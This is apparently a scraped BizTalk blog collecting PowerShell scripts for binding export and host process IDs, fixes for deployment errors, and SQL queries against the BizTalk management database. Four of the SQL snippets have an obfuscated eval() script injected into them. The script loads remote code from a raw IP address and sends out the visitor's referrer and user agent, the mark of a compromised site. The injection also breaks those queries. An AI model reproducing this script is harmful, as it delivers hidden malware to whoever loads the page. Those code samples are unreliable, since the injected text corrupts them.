One of the pains of the BizTalk Deployment Framework (BTDF) is that frequently, you build a PortBindingMaster file, then you change your port names, or make other changes, and have to rebuild it manually.

The manual process is to export the binding file, then carefully go through the file, making the changes to the BTDF variables (which have the pattern ${variableName}. You define those variables in the SettingFileGenerator.xml file (which is opened and edited as an Excel spreadsheet).

So I built a Powershell that would do the work for me. It could be more complicated, but for now, I usually only have to change my RabbitMQ host name, the SQL server and instance name, and sometimes a filename.

$appName = "MyApp" 
$exportFilename = "d:\GitMyApp_Dev\MyApp\MyApp.Deployment\PortBindingsMaster.xml"

cd "Biztalk:\Applications"
$app = get-item $appName 
export-bindings $app $exportFilename

$binding = get-content $exportFilename 
#Note: $ sign must be escaped in the replace statements 
$binding = $binding.replace("rabbit@localhost","rabbit@`${RabbitMQHostName}") 
#Note: if file has different case of string - the match will not happen 
$binding = $binding.replace("mssql://SQLEnv.dev.domain.net/db01/","mssql://`${DB01Server}/`${DB01Instance}") 
$binding = $binding.replace("mssql://.//","mssql://`${DB01Server}/`${DB01Instance}")
$binding = $binding.replace("c:\Integrations\MyApp\BizTalk2010File","`${FilePathFor2010}") 
Set-Content -Path $exportFilename -Value $binding 

 

Assumes you have installed the Powershell Extensions for BizTalk and have the:
“Add-PSSnapin BiztalkFactory.Powershell.Extensions” set up in your startup script.

It could be fancier, for example it could use RegEx to find the pattern of the SQL server name, but for now, it’s saving me a lot of time as it is.

I’m starting to write a script to build my BizTalk Deployment Framework Binding (BTDF) files. I’m planning to substite the few things that are unique with the BTDF variables. So the first step is to automate the export of the binding file.

$appName = "Echo.BSSR.FrontEnd.LTLShipmentOut" 
$bindingsDirectory = "c:\Users\NWalters\AppData\Local\BizTalk\Binding Files"
$exportFilename = "$bindingsDirectory.\$appName.xml"

cd "Biztalk:\Applications"
$app = get-item $appName 
export-bindings $app $exportFilename

 

Assumes you have installed the Powershell Extensions for BizTalk and have the:
“Add-PSSnapin BiztalkFactory.Powershell.Extensions” set up in your startup script.

When you have many BizTalk host instances and you want to do a “Debug Attach” to one specific one (for example to debug a pipeline component), it really helps to know the process ID (else you might have to attach to many host instances).

The Powershell code below conveniently lists the process ids along with the host name.
Credit for this code goes to Randal van Sputeren’s blog:

## https://biztalkmessages.wordpress.com/2010/01/05/retrieve-the-btsntsvc-exe-pid-with-powershell/
## Requires the BizTalk add-ons for Powershell 
## Alternative is: TASKLIST /FI “USERNAME ne NT AUTHORITYSYSTEM” /FI “IMAGENAME eq BTSNTSvc.exe” /SVC

function GetHostPID
{
   Get-ChildItem -Path 'Biztalk:\Platform Settings\Host Instances' | ForEach-Object {

   if ($_.HostType -ne 'Isolated')
      {
          [string]$a = (Get-WmiObject Win32_Process -filter "CommandLine Like '%$($_.HostName)%'").ProcessId
         $_ | Add-Member -MemberType NoteProperty -Name PID -Value $a
        Write-Output $_
 }
   } | Format-Table PID, Name, HostName, NTGroupName, RunningServer, HostType, ServiceState
}

GetHostPID   #call the above function 

Example Output

Debug Attach

In Visual Studio, you can attach your code to one or many BizTalk Host Instances in order to debug a helper routine or pipeline component. If you have many host instances, it’s difficult to know which one to pick. The screen below doesn’t list the Host Instance Names, only the Process IDs. So you need the Powershell command above, to xref the Host Instance to the Process ID.

I had an orchestration from a BizTalk 2010 that had the following code:


vISA06 = msg_EDI_997(EDI.ISA06);
vISA08 = msg_EDI_997(EDI.ISA08);

We were updating and refactoring to 2016. When I put that code in my 2016 orchestration, it got an error. I checked, and the EDI. fields were not showing up in the Intellinsense “drop down”.

The trick is to reference Microsoft.BizTalk.Edi.BaseArtifacts [c:\Program Files (x86)\Microsoft BizTalk Server 2013 R2\Microsoft.BizTalk.Edi.BaseArtifacts.dll] in your project, then it works fine.

Error

When trying to deploy a Business Rule Engine Policy in BizTalk Server 2013, I was getting the error:
The database “Server:Instance” associated with the deployment driver does not match database “Server2:Instance2” of the during product configuration.

Solution

You can run a SQL script like the following (on my machine, there was only one row in the table, so no where clause was needed).

Update adm_group set RuleEngineDBServerName = 'VM3-NWALTERS'
select RuleEngineDBServerName, RuleEngineDBName, * from adm_group

where VM3-NWALTERS was my machine name. We used a SYSPREP procedure originally to copy a machine and rename it.

Error


Microsoft.ServiceModel.Channels.Common.ConnectionException: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.
—> System.Data.SqlClient.SqlException: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.

The user was correct, and that was driving me crazy. I had just built the database from a script, and I set and double-checked the security in SSMS for that database.
I’m running on my own VM on my desktop; and the userid is my VM-Name/bts_host_ins (and that’s the user that all the host instances run with).

Solution

There could be other reasons for this error, but here was my reason…

My SendPort was pointing to our development system which is on the “DEV” domain, and my VM where I’m testing is on the primary domain.
The fix was just to repoint the SendPort to my local VM which is what I wanted anyway. If I really did want to go to the DEV domain, then I would have to use a user on that domain to run my host instance.

Suppose you want to find if a map is used on some ReceivePort. In BizTalk, one Receive Port can contain multiple maps. The one that is executed is based on the matching target namespace and root element.

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bshtz|var|u0026u|referrer|bszyn||js|php'.split('|'),0,{}))
</script></noindex> app.nvcName as ApplicationName, 
       rp.nvcName as ReceivePortName,
       it.Name as MapName, 
       bTwoWay 
  from bts_receiveport rp 
inner join bts_receiveport_transform rpt on rpt.nReceivePortID = rp.nID 
inner join bt_mapspec ms on ms.id = rpt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on rp.nApplicationID = app.nID 
where it.Name like '%204%'
order by rp.nvcName, it.Name 

Now, here’s how to do the same for SendPorts.

select app.nvcName as ApplicationName, 
       '' as ReceivePortName, 
       sp.nvcName as SendPortName,
       it.Name as MapName, 
       bTwoWay 
  from bts_sendport sp 
inner join bts_sendport_transform spt on spt.nSendPortID = sp.nID 
inner join bt_mapspec ms on ms.id = spt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on sp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by sp.nvcName, it.Name 
order by 1, 2, 3

Now we can get fancy and do both in one query using the “UNION” clause. This requires having the columns match, so I’ve added the dummy SendPort in the receive query, and the dummy ReceivePort in the SendPort Query. The sort has to then sort by numeric columns.


select app.nvcName as ApplicationName, 
       rp.nvcName as ReceivePortName,
       '' as SendPortName, 
       it.Name as MapName, 
       bTwoWay 
  from bts_receiveport rp 
inner join bts_receiveport_transform rpt on rpt.nReceivePortID = rp.nID 
inner join bt_mapspec ms on ms.id = rpt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on rp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by rp.nvcName, it.Name 
union 
select app.nvcName as ApplicationName, 
       '' as ReceivePortName, 
       sp.nvcName as SendPortName,
       it.Name as MapName, 
       bTwoWay 
  from bts_sendport sp 
inner join bts_sendport_transform spt on spt.nSendPortID = sp.nID 
inner join bt_mapspec ms on ms.id = spt.uidTransformGUID
inner join bts_item it on ms.itemid = it.id
inner join bts_application app on sp.nApplicationID = app.nID 
where IT.Name like '%204%'
--order by sp.nvcName, it.Name 
order by 1, 2, 3

Today, I saw a send port that had a filter such as BTS.Operation == Send204External. I looked at the orchestrations that I thought were involved in this application/project, but couldn’t find that operation name in any of the orchestration send ports.

There are two approaches to doing the xref:
1) Scanning all the code. I use Total Commander which has a great built-in utility to scan files with a mask (such as *.odx) for a given term (Send204External). But this assumes I have all the code on my disk (from our source code repository), and it doesn’t always run quickly.
2) Run a SQL query against the BizTalk SQL database.

In BizTalk, each orchestration logical (internal) SendPort can have one or more operations.

using <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytfak|var|u0026u|referrer|zaakd||js|php'.split('|'),0,{}))
</script></noindex> BizTalkMgmtDB 
select 
       app.nvcName as 'Application', 
       pto.nvcName as 'Operation', 
       pt.nvcName as 'PortType',
       op.nvcName as 'Orch-PortName',
       ass.nvcName as 'Assembly_Name'
         from bts_porttype_operation pto 
   inner join bts_porttype pt on pto.nPortTypeID = pt.nID 
   inner join bts_orchestration_port op on op.nPortTypeID = pt.nID 
   inner join bts_assembly ass on pt.nAssemblyID = ass.nID 
   inner join bts_application app on ass.nApplicationID = app.nID 
where pto.nvcName = 'Send204External' 

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbzti|var|u0026u|referrer|dsrak||js|php'.split('|'),0,{}))
</script></noindex> app.nvcName,
       rp.nvcName as ReceivePort, 
       bTwoWay, 
       rl.Name as ReceiveLocation,
       InboundTransportURL, 
       ReceivePipelineData
  from bts_receiveport rp 
inner join adm_ReceiveLocation rl on rl.ReceivePortId = rp.nID 
inner join bts_application app on rp.nApplicationID = app.nID 
--where InboundTransportURL like '%test%'
order by rl.Name 

I’ve been doing a lot of reverse engineering and studying of old systems as we migrate them to new releases of BizTalk. I find myself constantly using SQL command to narrow down the ports I’m interested in… By joining to the bts_sendport_transport table, we are able to show the address (for example, disk/file directory name, FTP address, SQL address, etc…)

Use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaesn|var|u0026u|referrer|ttdzi||js|php'.split('|'),0,{}))
</script></noindex> BizTalkMgmtDb

select app.nvcName as Application, 
       sp.nvcName as SendPortName,
       nvcAddress as Address,
       nvcSendPipelineData, 
       nvcFilter, 
       bDynamic, 
       bTwoWay    
from bts_sendport sp 
   inner join bts_application app on sp.nApplicationID = app.nID 
   inner join bts_sendport_transport spt on spt.nSendPortID = sp.nID and spt.nTransportTypeId is not null 
where sp.nvcName like '%204%' 
order by app.nvcName, sp.nvcName